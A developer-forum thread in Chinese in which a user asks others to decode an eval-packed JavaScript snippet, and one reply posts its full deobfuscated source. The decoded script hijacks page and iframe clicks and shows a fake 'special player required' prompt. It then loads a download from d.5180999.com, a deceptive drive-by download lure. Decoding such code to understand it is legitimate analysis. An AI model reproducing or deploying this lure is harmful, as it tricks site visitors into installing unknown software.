麻烦大家帮忙解密一下这个js

jianxin52 2014-07-15 06:37:41
引用
<script type="text/javascript">
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('6 g,n,t,P;e Z(1j){g=K("g",1);n=K("n",1E);P="1y.1x?g="+g+"&n="+n+"&1z=3";4(1j>0){6 1k=18(15("10"));4(1k==1){F("10",2);t="N://d.1l.T:"+n+"/1d.1f?1g=3&g="+g+"&r="+1v.1u()}h{F("10",1);t="N://d.1l.T:"+n+"/1d.1f?1g=3&g="+g+"&r="+1v.1u()}}};e $$(1w){c m.1D(1w)};e 1b(w){6 C=1a.19;6 1q=C.v(C.l("?")+1,C.b).B("&");6 J={};U(i=0;j=1q[i];i++){J[j.v(0,j.l("=")).M()]=j.v(j.l("=")+1,j.b)};6 G=J[w.M()];4(1C(G)=="1B"){c H}h{c G}};e K(w,13){6 x=18(1b(w));4(1F(x)){x=13};c x};e 16(5){4(5==H||5=="")c"";6 p,o;5=5.M();4(5.l("N://")==0)p=7;h 4(5.l("1A://")==0)p=8;h p=0;4((o=5.l("/",p))==-1)o=5.b;5=5.v(p,o);4((o=5.l(":"))!=-1)5=5.v(0,o);4(5.l(".")==-1||/^[0-9]+[.0-9]*$/.1G(5))c 5;6 a=5.B(".");4(a.b>2&&a[a.b-3]!="22"){6 f=a[a.b-2];4(f.b<=2||f=="T"||f=="25"||f=="24"||f=="1Z"||f=="1Y"||f=="20"){5=a[a.b-3]+"."+f+"."+a[a.b-1]}h{5=a[a.b-2]+"."+a[a.b-1]}}h{5=a[a.b-2]+"."+a[a.b-1]};c 5};e F(A,14){6 y=V 2c();y.27(y.28()+12*17*17*26);m.1c=A+\'=\'+14+\';2a=\'+y.1M()+\';1L=/;1O=\'+16(z.1a.19)};e 15(A){6 D=m.1c.B(";");U(6 k=0;k<D.b;k++){6 I=D[k].B("=");4(I[0]==A)c 1N(I[1])};c H};e R(q,E,s){4(q.1r){q.1r(E,s);c u}h 4(q.1s){c q.1s("1K"+E,e(){s.1J(q,1P)})}h{c O}};e 1V(1h,L,1e){4(1U.1X.1W=="1R"){Z(1);6 X=1h||"1Q,1T!";4(1e==1){4(L||1S(X)){$$("1m").W=t}}h{4(!L){1H(X)};$$("1m").W=t}}};6 Q=u;e s(){Z(0);4(Q==u){$$("1I").W=P;Q=O}};6 Y=O;e 1o(){4(Y==u)c;1p{4(!z.m)c;R(z.m,"1t",V 1i("s();"))}1n(11){} 6 S=m.29("2b");U(6 k=0;k<S.b;k++){1p{R(S[k].21.m,"1t",V 1i("z.23.s();"))}1n(11){}};Y=u};1o();',62,137,'||||if|v_url|var||||v_parts|length|return||function|v_part_2|uid|else|||v_i|indexOf|document|pid|v_end|v_begin|obj||fun|durl|true|substring|paramName|vid|v_et|window|v_cn|split|url|v_cookies|type|f_set_cookie|returnValue|null|v_ck|paramObj|GetInt|isDown|toLowerCase|http|false|curl|v_mode|addEvent|v_obj|com|for|new|src|hint|v_is_add_click|GetConfig|v_count|v_ex||val|v_cv|f_get_cookie|f_get_domain|60|parseInt|href|location|GetParamVal|cookie|download|alertYoNO|ashx|id|info|Function|_load|viscount|5180999|d_url|catch|f_pop_click|try|paramString|addEventListener|attachEvent|click|random|Math|ele|html|next|cid|https|undefined|typeof|getElementById|8100|isNaN|test|alert|c_url|apply|on|path|toGMTString|unescape|domain|arguments|本片资源需要下载专用播放器观看|none|confirm|只需10秒立即观看|isLoading|addgo|display|style|org|net|mil|contentWindow|www|parent|gov|edu|1000|setTime|getTime|getElementsByTagName|expires|iframe|Date'.split('|'),0,{}))
</script>
...全文
218 4 打赏 收藏 举报
写回复
用AI写文章
4 条回复
切换为时间正序
请发表友善的回复…
发表回复
js_master 2014-07-17
  • 打赏
  • 举报
回复
这个不错啊,有点shellcode的味道
文盲老顾 2014-07-17
  • 打赏
  • 举报
回复
http://blog.csdn.net/superwfei/article/details/37821653 其实很简单
liln0530 2014-07-17
  • 打赏
  • 举报
回复
大侠我学习下,如何解
XZowie 2014-07-15
  • 打赏
  • 举报
回复
<script>
var uid,pid,durl,curl;
function GetConfig(_load)
	{
	uid=GetInt("uid",1);
	pid=GetInt("pid",8100);
	curl="next.html?uid="+uid+"&pid="+pid+"&cid=3";
	if(_load>0)
		{
		var viscount=parseInt(f_get_cookie("v_count"));
		if(viscount==1)
			{
			f_set_cookie("v_count",2);
			durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
		}
		else
			{
			f_set_cookie("v_count",1);
			durl="http://d.5180999.com:"+pid+"/download.ashx?id=3&uid="+uid+"&r="+Math.random()
		}
	}
};
function $$(ele)
	{
	return document.getElementById(ele)
};
function GetParamVal(paramName)
	{
	var url=location.href;
	var paramString=url.substring(url.indexOf("?")+1,url.length).split("&");
	var paramObj=
		{
	};
	for(i=0;
	j=paramString[i];
	i++)
		{
		paramObj[j.substring(0,j.indexOf("=")).toLowerCase()]=j.substring(j.indexOf("=")+1,j.length)
	};
	var returnValue=paramObj[paramName.toLowerCase()];
	if(typeof(returnValue)=="undefined")
		{
		return null
	}
	else
		{
		return returnValue
	}
};
function GetInt(paramName,val)
	{
	var vid=parseInt(GetParamVal(paramName));
	if(isNaN(vid))
		{
		vid=val
	};
	return vid
};
function f_get_domain(v_url)
	{
	if(v_url==null||v_url=="")return"";
	var v_begin,v_end;
	v_url=v_url.toLowerCase();
	if(v_url.indexOf("http://")==0)v_begin=7;
	else if(v_url.indexOf("https://")==0)v_begin=8;
	else v_begin=0;
	if((v_end=v_url.indexOf("/",v_begin))==-1)v_end=v_url.length;
	v_url=v_url.substring(v_begin,v_end);
	if((v_end=v_url.indexOf(":"))!=-1)v_url=v_url.substring(0,v_end);
	if(v_url.indexOf(".")==-1||/^[0-9]+[.0-9]*$/.test(v_url))return v_url;
	var v_parts=v_url.split(".");
	if(v_parts.length>2&&v_parts[v_parts.length-3]!="www")
		{
		var v_part_2=v_parts[v_parts.length-2];
		if(v_part_2.length<=2||v_part_2=="com"||v_part_2=="edu"||v_part_2=="gov"||v_part_2=="net"||v_part_2=="org"||v_part_2=="mil")
			{
			v_url=v_parts[v_parts.length-3]+"."+v_part_2+"."+v_parts[v_parts.length-1]
		}
		else
			{
			v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
		}
	}
	else
		{
		v_url=v_parts[v_parts.length-2]+"."+v_parts[v_parts.length-1]
	};
	return v_url
};
function f_set_cookie(v_cn,v_cv)
	{
	var v_et=new Date();
	v_et.setTime(v_et.getTime()+12*60*60*1000);
	document.cookie=v_cn+'='+v_cv+';
	expires='+v_et.toGMTString()+';
	path=/;
	domain='+f_get_domain(window.location.href)
};
function f_get_cookie(v_cn)
	{
	var v_cookies=document.cookie.split(";
	");
	for(var v_i=0;
	v_i<v_cookies.length;
	v_i++)
		{
		var v_ck=v_cookies[v_i].split("=");
		if(v_ck[0]==v_cn)return unescape(v_ck[1])
	};
	return null
};
function addEvent(obj,type,fun)
	{
	if(obj.addEventListener)
		{
		obj.addEventListener(type,fun);
		return true
	}
	else if(obj.attachEvent)
		{
		return obj.attachEvent("on"+type,function()
			{
			fun.apply(obj,arguments)
		}
		)
	}
	else
		{
		return false
	}
};
function addgo(info,isDown,alertYoNO)
	{
	if(isLoading.style.display=="none")
		{
		GetConfig(1);
		var hint=info||"本片资源需要下载专用播放器观看,只需10秒立即观看!";
		if(alertYoNO==1)
			{
			if(isDown||confirm(hint))
				{
				$$("d_url").src=durl
			}
		}
		else
			{
			if(!isDown)
				{
				alert(hint)
			};
			$$("d_url").src=durl
		}
	}
};
var v_mode=true;
function fun()
	{
	GetConfig(0);
	if(v_mode==true)
		{
		$$("c_url").src=curl;
		v_mode=false
	}
};
var v_is_add_click=false;
function f_pop_click()
	{
	if(v_is_add_click==true)return;
	try
		{
		if(!window.document)return;
		addEvent(window.document,"click",new Function("fun();
		"))
	}
	catch(v_ex)
		{
	}
	 var v_obj=document.getElementsByTagName("iframe");
	for(var v_i=0;
	v_i<v_obj.length;
	v_i++)
		{
		try
			{
			addEvent(v_obj[v_i].contentWindow.document,"click",new Function("window.parent.fun();
			"))
		}
		catch(v_ex)
			{
		}
	};
	v_is_add_click=true
};
f_pop_click();

</script>

87,984

社区成员

发帖
与我相关
我的任务
社区描述
Web 开发 JavaScript
社区管理员
  • JavaScript
  • 无·法
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧